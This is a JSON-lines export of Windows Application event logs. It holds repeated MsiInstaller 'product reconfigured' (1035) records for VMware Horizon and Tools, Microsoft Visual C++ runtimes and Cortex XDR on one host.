{"@timestamp":1657388050251,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169142}}
{"@timestamp":1657388050283,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169143}}
{"@timestamp":1657388050323,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169144}}
{"@timestamp":1657388050357,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169145}}
{"@timestamp":1657388050391,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169146}}
{"@timestamp":1657388050433,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169147}}
{"@timestamp":1657388050461,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169148}}
{"@timestamp":1657388109985,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169149}}
{"@timestamp":1657388110012,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169150}}
{"@timestamp":1657388110062,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169151}}
{"@timestamp":1657388110103,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169152}}
{"@timestamp":1657388110131,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169153}}
{"@timestamp":1657388110162,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169154}}
{"@timestamp":1657388110188,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169155}}
{"@timestamp":1657388110214,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169156}}
{"@timestamp":1657388110250,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169157}}
{"@timestamp":1657388110277,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169158}}
{"@timestamp":1657388230286,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169159}}
{"@timestamp":1657388230315,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169160}}
{"@timestamp":1657388230366,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169161}}
{"@timestamp":1657388230408,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169162}}
{"@timestamp":1657388230437,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169163}}
{"@timestamp":1657388230468,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169164}}
{"@timestamp":1657388230495,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169165}}
{"@timestamp":1657388230522,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169166}}
{"@timestamp":1657388230558,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169167}}
{"@timestamp":1657388230585,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169168}}
{"@timestamp":1657388290000,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169169}}
{"@timestamp":1657388290027,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169170}}
{"@timestamp":1657388290079,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169171}}
{"@timestamp":1657388290121,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169172}}
{"@timestamp":1657388290151,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169173}}
{"@timestamp":1657388290182,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169174}}
{"@timestamp":1657388290211,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169175}}
{"@timestamp":1657388290238,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169176}}
{"@timestamp":1657388290276,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169177}}
{"@timestamp":1657388290305,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169178}}
{"@timestamp":1657388350161,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169179}}
{"@timestamp":1657388350188,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169180}}
{"@timestamp":1657388350237,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169181}}
{"@timestamp":1657388350277,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169182}}
{"@timestamp":1657388350305,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169183}}
{"@timestamp":1657388350335,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169184}}
{"@timestamp":1657388350362,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169185}}
{"@timestamp":1657388350388,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169186}}
{"@timestamp":1657388350424,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169187}}
{"@timestamp":1657388350452,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169188}}
{"@timestamp":1657388410170,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169189}}
{"@timestamp":1657388410197,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169190}}
{"@timestamp":1657388410248,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169191}}
{"@timestamp":1657388410291,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169192}}
{"@timestamp":1657388410321,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169193}}
{"@timestamp":1657388410352,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169194}}
{"@timestamp":1657388410380,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169195}}
{"@timestamp":1657388410407,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169196}}
{"@timestamp":1657388410444,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169197}}
{"@timestamp":1657388410472,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169198}}
{"@timestamp":1657388470286,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169199}}
{"@timestamp":1657388470312,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169200}}
{"@timestamp":1657388470361,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169201}}
{"@timestamp":1657388470401,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169202}}
{"@timestamp":1657388470429,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169203}}
{"@timestamp":1657388470461,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169204}}
{"@timestamp":1657388470488,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169205}}
{"@timestamp":1657388470517,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169206}}
{"@timestamp":1657388470555,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169207}}
